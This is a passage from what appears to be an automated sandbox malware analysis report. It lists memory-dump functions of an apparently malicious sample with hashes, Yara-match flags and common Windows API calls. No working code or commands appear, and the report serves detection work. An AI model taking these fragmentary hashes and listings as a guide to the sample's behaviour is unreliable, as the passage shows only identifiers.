                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 147707f5e8a254dbcef1d1bc80ad05076b6632eb3d32b9a0793ea3443927225d
                                                                                                                                                                                                                                  • Instruction ID: 618aae251a35fe124b6a9fd7df4959a431875ddcbb35ef49f49ac8af0b85dcc6
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 147707f5e8a254dbcef1d1bc80ad05076b6632eb3d32b9a0793ea3443927225d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B490026174140013D140719C941860A400597E1301F95D015E0414914CD9698A569233
                                                                                                                                                                                                                                  Function 1DF92D10 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 640b8eb3c07b48ab7705eb824ece09cc50ad7f0f25176a690b4d28d7e8dcb020
                                                                                                                                                                                                                                  • Instruction ID: 4f63852c29aa3b3087ce71a207fc3cb5211e2cb1211ff012a14516e7f8dea752
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 640b8eb3c07b48ab7705eb824ece09cc50ad7f0f25176a690b4d28d7e8dcb020
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7090026975340012D180719C940860E000547D1202FD5D419A0015918CC9698A699333
                                                                                                                                                                                                                                  Function 1DF92CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 3c61b521f4451a9e4e3aa87ae5bab4796b0af8980f9f3105c8916ac0ec696de9
                                                                                                                                                                                                                                  • Instruction ID: 3f9779515058289181c53059ece8e7702bda9e00955f061af521f153a1f7b6be
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3c61b521f4451a9e4e3aa87ae5bab4796b0af8980f9f3105c8916ac0ec696de9
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4790027174140412D10075DC940864A000547E0301F95D015A5024915EC6B98A91A133
                                                                                                                                                                                                                                  Function 1DF92C70 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 810c0678008bed8600188417b0ae9844a84832ce34f45595b82019bc3239c378
                                                                                                                                                                                                                                  • Instruction ID: ae536b33a79f5428c934794aa2c9057034a65ce8a5f1c67bfec043dc4066e32e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 810c0678008bed8600188417b0ae9844a84832ce34f45595b82019bc3239c378
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2890027174148812D110719CC40474E000547D0301F99C415A4424A18D86E98A91B133
                                                                                                                                                                                                                                  Function 1DF92FE0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: f80e7a35e02b10e4c7ebac516329a9c785f8c9918c25dea5576ca4c283609bfb
                                                                                                                                                                                                                                  • Instruction ID: 2504f93abf01b773bfe5a9e3da76545541d626ec1aaa80b3c3b176d3ae499d11
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f80e7a35e02b10e4c7ebac516329a9c785f8c9918c25dea5576ca4c283609bfb
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 5F900261751C0052D20075AC8C14B0B000547D0303F95C119A0154914CC9698A619533
                                                                                                                                                                                                                                  Function 1DF92FB0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: d9e44c77c402fce3ebe30b92980a5b451f88783cf55c13913cc36158e1e3319b
                                                                                                                                                                                                                                  • Instruction ID: 9c2a11ac4d2bd4c153b874d60e3ad62862597f52f80a597ae29b139944cb6c26
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d9e44c77c402fce3ebe30b92980a5b451f88783cf55c13913cc36158e1e3319b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 00900261B4140052414071ACC84490A40056BE1211B95C125A0998910D85AD8A659677
                                                                                                                                                                                                                                  Function 1DF92F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 6d3f9210e45dc242a9b6f11e4d1435f405218ef11b11393799c019bbe40efd12
                                                                                                                                                                                                                                  • Instruction ID: 550386f8dfe951d8611ef38a414eae3341bb9c1ff3f9f00cb2a44ca95e2e8b81
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6d3f9210e45dc242a9b6f11e4d1435f405218ef11b11393799c019bbe40efd12
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D990027174180412D100719C881470F000547D0302F95C015A1164915D86798A51A573
                                                                                                                                                                                                                                  Function 1DF92F30 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: f3981e548e38a3ca47c03677ad1710f588a9c4f2a7eac3ad8a85e64c6db75807
                                                                                                                                                                                                                                  • Instruction ID: cf8b44851b1bfd4b85e6e11641a1401928e1cb4da5f6346487c091cea5580be3
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f3981e548e38a3ca47c03677ad1710f588a9c4f2a7eac3ad8a85e64c6db75807
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E89002A178140452D100719C8414B0A000587E1301F95C019E1064914D866DCE52A137
                                                                                                                                                                                                                                  Function 1DF92EA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 450970471c1763bf8537b07784d9b981784ac354949f33bc3ad418efa0c35ffd
                                                                                                                                                                                                                                  • Instruction ID: b07f92869e1ff8011c80189246bd2620fb65c6ce85d0e6345bf295d7b46eac21
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 450970471c1763bf8537b07784d9b981784ac354949f33bc3ad418efa0c35ffd
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D79002B174140412D140719C840474A000547D0301F95C015A5064914E86AD8FD5A677
                                                                                                                                                                                                                                  Function 1DF92E80 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: bea10661a29adef4ea86fa371c3a8a17261817e679bb5099a706cdc0f19fce70
                                                                                                                                                                                                                                  • Instruction ID: bc709906a90f3fa595c048f1b615e8f2ea79511b37db380d0cdf941af05d7c27
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: bea10661a29adef4ea86fa371c3a8a17261817e679bb5099a706cdc0f19fce70
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 27900261B4140512D101719C840461A000A47D0241FD5C026A1024915ECA798B92E133
                                                                                                                                                                                                                                  Function 1DF92BF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 84b48a0774a10fc341817b71b4890504ed0c3d5ba51583cac20f6eab56c3568b
                                                                                                                                                                                                                                  • Instruction ID: e2dc29aafab649d322149ad42a0624a71de693473816d2a8ccc496fb954c350c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 84b48a0774a10fc341817b71b4890504ed0c3d5ba51583cac20f6eab56c3568b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: FF90027174140812D180719C840464E000547D1301FD5C019A0025A14DCA698B59B7B3
                                                                                                                                                                                                                                  Function 1DF92B60 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 9ce25ee6375b2c2da4c6068140453949328c9ef26fc60dfdc8e15b986e30c8a2
                                                                                                                                                                                                                                  • Instruction ID: 273e21a8635bc5300ea56386b7256aa55d640817d445fa2c14e2780627651700
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9ce25ee6375b2c2da4c6068140453949328c9ef26fc60dfdc8e15b986e30c8a2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 699002A1742400134105719C841461A400A47E0201F95C025E1014950DC5798A91A137
                                                                                                                                                                                                                                  Function 1DF92AD0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2335706570.000000001DF20000.00000040.00001000.00020000.00000000.sdmp, Offset: 1DF20000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E049000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E04D000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000B.00000002.2335706570.000000001E0BE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_1df20000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: InitializeThunk
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2994545307-0
                                                                                                                                                                                                                                  • Opcode ID: 1630b2cfe17e3e04fbdc592eea6c145ca3daccdbd94c50199bb9d41ae7aa4afe
                                                                                                                                                                                                                                  • Instruction ID: decbc9029b9bef551d94372541e79c5b739823f8f6d26350f2d4b8fc6461edb0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1630b2cfe17e3e04fbdc592eea6c145ca3daccdbd94c50199bb9d41ae7aa4afe
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 21900475751400130105F5DC470450F004747D53517D5C035F1015D10CD775CF71D133
                                                                                                                                                                                                                                  Function 00409AB0 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2313660201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                  • Opcode ID: 9491f0743c91a206193bdf4875b0116748c1939b63dea1d6f13f2d0be6304ac3
                                                                                                                                                                                                                                  • Instruction ID: 0cf1d1cfbff413d406b9f50454d57ab941c4b3e8ec75440de5a7d7d7e128ebbb
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9491f0743c91a206193bdf4875b0116748c1939b63dea1d6f13f2d0be6304ac3
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 24210AB2D4020857CB25D664AD52BFF73BCAB54314F04007FE949A3182F638BE498BA5
                                                                                                                                                                                                                                  Function 0041A600 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlAllocateHeap.NTDLL(6EA,?,00414CAF,00414CAF,?,00414536,?,?,?,?,?,00000000,00409CF3,?), ref: 0041A62D
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AllocateHeap
                                                                                                                                                                                                                                  • String ID: 6EA
                                                                                                                                                                                                                                  • API String ID: 1279760036-1400015478
                                                                                                                                                                                                                                  • Opcode ID: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                                                                                                                                                  • Instruction ID: 226561cf9c8a986873ffc081809f26ad69fcc4b20f94c9d7be20fabd3b8eb7db
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5b685ba00e4f3e285a347290f69675979fbe5b3df3c61f88542a29b4b9d62cf4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 24E012B1211208ABDB14EF99CC41EA777ACAF88664F118559BA085B242C630F911CAB0
                                                                                                                                                                                                                                  Function 00408309 Relevance: 1.6, APIs: 1, Instructions: 60threadwindowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: MessagePostThread
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1836367815-0
                                                                                                                                                                                                                                  • Opcode ID: e22f2a1e64cee370871462f832e150db81c0872d16e93b05866ab54f0e115d47
                                                                                                                                                                                                                                  • Instruction ID: 73ccff80f6b7df852c4ddd541bbfe621d6134c21839f6d9cf6721010bf28980f
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e22f2a1e64cee370871462f832e150db81c0872d16e93b05866ab54f0e115d47
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7201D831A8032C77E720A6959D43FFF772CAB40F54F05011AFF04BA1C2EAA8690546EA
                                                                                                                                                                                                                                  Function 00408310 Relevance: 1.6, APIs: 1, Instructions: 55threadwindowCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • PostThreadMessageW.USER32(?,00000111,00000000,00000000,?), ref: 0040836A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: MessagePostThread
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1836367815-0
                                                                                                                                                                                                                                  • Opcode ID: 1eae49b1dd1fdf1f4ed343fddf3187855c82dbc596373200d6923005f005e771
                                                                                                                                                                                                                                  • Instruction ID: 43d593e10ad008c4695c17d6314bf6f3e92d4c432431edd93db89b762a987e15
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1eae49b1dd1fdf1f4ed343fddf3187855c82dbc596373200d6923005f005e771
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E2018471A8032877E720A6959D43FFE776C5B40F54F05011AFF04BA1C2EAA8690546EA
                                                                                                                                                                                                                                  Function 0041A5C6 Relevance: 1.5, APIs: 1, Instructions: 49memoryCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RtlFreeHeap.NTDLL(00000060,00409CF3,?,?,00409CF3,00000060,00000000,00000000,?,?,00409CF3,?,00000000), ref: 0041A66D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000B.00000001.2213802564.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_1_400000_joedgvvL.jbxd
                                                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: FreeHeap
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3298025750-0
                                                                                                                                                                                                                                  • Opcode ID: d494b98c2f8c527e3348199f90ad3833051bdd8036a55c39370ad47cf90e5a20
                                                                                                                                                                                                                                  • Instruction ID: b2066df0f2233a63808722a7eafcfc6a6fd8e871d05721316348ef31ea68f048
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d494b98c2f8c527e3348199f90ad3833051bdd8036a55c39370ad47cf90e5a20
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EB018BB2201214AFDB18DF58CC89EE7776DEF88364F10859AF908AB241D631ED11CBA0
                                                                                                                                                                                                                                  Function 0040ACE3 Relevance: 1.5, APIs: 1, Instructions: 45libraryloaderCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
